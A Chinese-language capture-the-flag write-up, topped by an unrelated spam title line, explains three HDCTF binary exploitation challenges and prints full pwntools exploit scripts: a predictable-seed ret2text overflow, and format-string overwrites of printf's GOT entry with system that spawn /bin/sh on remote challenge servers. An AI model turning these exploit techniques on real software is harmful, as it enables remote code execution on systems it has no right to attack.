打折網站建設教程下載青島設計優(yōu)化公司
Index
- 前言
- Pwnner
- 分析
- EXP:
- KEEP_ON
- 分析
- EXP:
- Minions
- 分析
- EXP:
- 后記:
前言
本人是菜狗,比賽的時候只做出來1題,2題有思路但是不會,還是太菜了。
棧遷移還是不會,但又都是棧遷移的題,真頭大。得找時間好好學學。
Pwnner
分析
一題很簡單的ret2text題。
__int64 vuln()
{int v0; // ebxchar buf[16]; // [rsp+0h] [rbp-50h] BYREFchar v3[64]; // [rsp+10h] [rbp-40h] BYREFsrand(0x39u);puts("you should prove that you love pwn,so input your name:");read(0, buf, 0x10uLL);v0 = atoi(buf);if ( v0 == rand() ){puts("ok,you have a little cognition about pwn,so what will you do next?");read(0, v3, 0x100uLL);}else{puts("sorry,you are not a real pwnner");}return 0LL;
}
可以看到使用了srand
函數,參數是0x39,而不是時間戳。
那就很簡單了,只要寫一個在線C語言小程序跑一個隨機數出來就行了。
我用的是Python的ctypes庫。
相信看這篇文章的師傅ret2text都很熟悉吧,信手拈來的程度,我這里就不多贅述了,感興趣可以去我主頁翻剛開始復健Pwn的時候的學習文章。
EXP:
from pwn import *
import ctypes context(arch='amd64', os='linux', log_level='debug')
Padding = b'A' * (0x40 + 0x08)libc = ctypes.CDLL("libc.so.6")libc.srand.argtypes = [ctypes.c_uint]
libc.srand(0x39)
rand_result = libc.rand()#io = process('./pwnner')
io = remote('node1.anna.nssctf.cn',28523)
ret = 0x40028Bio.recvuntil(b'so input your name:\n')
io.sendline(str(rand_result))
io.recvuntil(b'so what will you do next?\n')Payload = Padding + p64(ret) + p64(0x4008B2)
io.sendline(Payload)
io.interactive()
KEEP_ON
分析
沒錯,這就是我比賽的時候有思路沒做出來的題,同樣還有下一題。
實際上很簡單,存在兩種做法:
棧遷移
以及格式化字符串
這里寫的是格式化字符串的方法,因為方便快捷,下篇文章再說棧遷移該怎么打。
__int64 vuln()
{char s[80]; // [rsp+0h] [rbp-50h] BYREFmemset(s, 0, sizeof(s));puts("please show me your name: ");read(0, s, 0x48uLL);printf("hello,");printf(s);puts("keep on !");read(0, s, 0x60uLL);return 0LL;
}
主函數是這樣的,我們可以通過格式化字符串漏洞修改printf_got
為system_plt
。
先計算出我們的偏移:
偏移為6。
EXP:
from PwnModules import *#io = process('./hdctf')
io = remote('node4.anna.nssctf.cn', 28144)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')io.recvuntil(b'name: \n')printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['vuln']payload = fmtstr_payload(6, {printf_got: system_plt})
io.send(payload)payload_ret = b'A' * (0x50 + 0x08) + p64(vuln)
io.recvuntil(b'keep on !\n')
io.send(payload_ret)
io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')io.interactive()
切記不能使用sendline
,sendline
會附加一個換行符,而本題Payload長度有限制,加上換行符會出現不可預料的問題。
Minions
分析
和 KEEP_ON 一樣的做法,也可以使用棧遷移,一樣下次再說。
主要進行利用的函數是
int vuln()
{char buf[208]; // [rsp+0h] [rbp-D0h] BYREFputs("Welcome to HDCTF.What you name?\n");read(0, buf, 0xD0uLL);printf("Hello,");return printf(buf);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[48]; // [rsp+0h] [rbp-30h] BYREFinit();vuln();puts("\nDo you have an invitation key?");if ( key == 102 ){puts("welcome,tell me more about you");read(0, buf, 0x40uLL);puts("That's great.Do you like Minions?");read(0, &hdctf, 0x28uLL);}else{puts("sorry,you can't in");}return 0;
}
我們在main函數使用格式化字符串漏洞繞過條件。
然后和KEEP_ON一樣打劫持printf_got
為system_plt
。
EXP:
from pwn import *#io = process('./minions1')
io = remote('node1.anna.nssctf.cn','28190')
elf = ELF('./minions1')
context(arch='amd64', os='linux', log_level='debug')Padding = b'A' * (0xD0-0x01) + b'B' * 0x01
key = 0x6010A0
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['_start']
Padding = b'A' * (0x30 + 0x08)Payload_Bypass = fmtstr_payload(6, {key: 0x66})
Payload_Replace = fmtstr_payload(6, {printf_got: system_plt})
Payload_Vuln = Padding + p64(vuln)
Payload_Shell = b'/bin/sh\x00'io.recvuntil(b'name?\n')
io.send(Payload_Bypass)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Replace)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Shell)io.interactive()
后記:
對我來說還是有提升的,雖然都是簡單題目。
但是慢慢來,人總有個成長的過程。
相信當我解決完這幾題棧遷移后,我的水平會進一步提升。